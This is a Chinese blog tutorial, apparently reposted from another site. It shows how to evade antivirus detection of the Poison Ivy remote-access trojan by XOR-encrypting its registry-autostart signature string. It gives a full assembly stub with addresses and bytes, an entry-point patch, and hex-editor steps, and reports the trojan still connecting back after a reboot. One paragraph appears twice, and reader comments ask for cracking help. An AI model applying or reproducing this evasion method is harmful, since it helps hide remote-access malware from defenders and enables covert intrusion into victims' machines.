【白银时代】备注:大家玩玩就好,今年可是枪打出头鸟哎,现在玩远控都犯法的……
来源:http://www.caodan.com/xor-yi-huo-jia-mi-zai-mian-sha-zhong-de-ying-yong/
异或加密是一种简单的加密算法,在破解中经常遇到。举个例子说明一下XOR加密算法,例如00001 xor 11110 =11110,11110 xor 11111=00001,xor异或是可以看做是不进位的二进制加法。这样说来就好理解了。
在反汇编中,xor的运算指令如下所示:
Xor eax,11111111,这个的含义就是寄存器eax里面的值与11111111做异或运算之后把结果赋给eax,如果在进行一次同样的运算,eax的值又变回原来的值了。
下面的代码就是进行xor加密和解密的代码(附上说明):
Pushad 把所有寄存器压入堆栈
mov ebx,X0 X0是进行加密地址的起始地址
mov ecx, 4 4是循环的长度
mov eax,dword ptr [ebx] 地址为X1,特征码的内存地址传送到ebx寄存器中
xor eax,11223344 其中11223344是我们自定义的密匙
mov dword ptr [ebx], eax 把加密后的内容传送给ebx
add ebx, 4 4是一次加密字串的长度
loopd short X1 跳转到 mov eax,dword ptr [ebx] 进行循环
popad 所有寄存器取出堆栈
jmp X2 X2是入口点
看了说明很容易就能明白这段反汇编指令的作用了,这段指令既可以进行加密也可以进行解密。过程大致是这样的,我们把这段指令放在程序的入口处,用OD单步运行的时候,会得到指定字符串的加密后的字符串,这个是加密过程,将加密后字符串复制出来,用16进制编辑器替换掉原来的字符串,再次运行的时候,就是解密了(原理:00001 xor 11110 =11110,11110 xor 11111=00001,前面说过了 xor两次后会得到原来的值,将加密的再次异或运算就是原来的值),会得到原来的字符串。类似于动态解密的过程。下面用实例来操作一下。
首先生成Poison2.3.2木马(国外的一个木马的汉化版)的服务端,OD载入,记录原来入口点004010D4,寻找空白区域,起始地址为00401112,我们来加密一段写入注册表的字符串,图1

图1
在空白区域添加上面我们说过的代码:
00401113 > 60 pushad //新的入口地址
00401114 BB 10334000 mov ebx, 00403310 //加密起始地址图1中椭圆圈上的地址
00401119 B9 04000000 mov ecx, 4 //循环四次,
0040111E 8B03 mov eax, dword ptr [ebx]
00401120 35 44332211 xor eax, 11223344
00401125 8903 mov dword ptr [ebx], eax
00401127 83C3 04 add ebx, 4 //每次加密的长度,图1的四个长度一整行
0040112A ^ E2 F2 loopd short 0040111E
0040112C 61 popad
0040112D ^ EB A5 jmp short <模块原来入口点> //跳到原来入口
0040112F 90 nop
结合图1,看好代码中地址的对应关系,之后OD保存添加完代码的文件,用Peditor更改入口到00401113;图2

图2
之后OD再次载入,之后让OD下面16进制的窗口显示如图1的样子,显示出要加密的数据,接下来在OD中单步步入(F7),我们看到如下,图3

图3
看到了加密后的数据,和原来对比参看图1
之后我们将这一整行,复制出来,图4

图4
复制出来的数据如下:
00403310 27 41 4D 62 2B 55 56 4D 13 5A 4C 75 2B 44 51 4D ‘AMb+UVMZLu+DQM
之后关闭OD,用C32ASM打开文件,搜索找到刚才我们要加密的字符串,如图5

图5 加密前的数据,即将用加密后数据替换。
之后用加密数据替换,如图6

图6 替换后的数据
之后保存文件,再用OD载入,F7单步步入。
会看到被解密的效果。图7

图7
图7是循环两次的结果,发现这一行中已经解密出来一半,运行程序的时候效果是一样的。也会在内存中
解密出原来的结果,如果用此方法加密特码,保存在文件中是加密后的,也就达到了修改特征码的目的,运行的时候就解密出来,程序可以正常运行。我们来测试 下,把服务端托到虚拟机,运行后成功上线,这个是必然的,我们再重新启动下虚拟机看看能不能成功上线,因为我们刚才改的是注册表启动的字符串。
解密出原来的结果,如果用此方法加密特码,保存在文件中是加密后的,也就达到了修改特征码的目的,运行的时候就解密出来,程序可以正常运行。我们来测试 下,把服务端托到虚拟机,运行后成功上线,这个是必然的,我们再重新启动下虚拟机看看能不能成功上线,因为我们刚才改的是注册表启动的字符串。
重启后成功上线,如图8

图8
总结:至于运用的实际情况可能每个人都有所不同,你也可以将加密的长度调整为一个区段,这就需要仔细的计算了。而且这种加密不改变文件的大小,修改特征码也简单方便。









最新评论
和谐了,完全看不懂
1b6dbee1f76cf9
I disagree wit
这是升官法则:特大事故发生时
我需要这个东西,一些杀不掉的
帮忙破解 谢谢咯 c7
你的网站竟然被百度k得只剩下
我可以提供vpn账号。。想和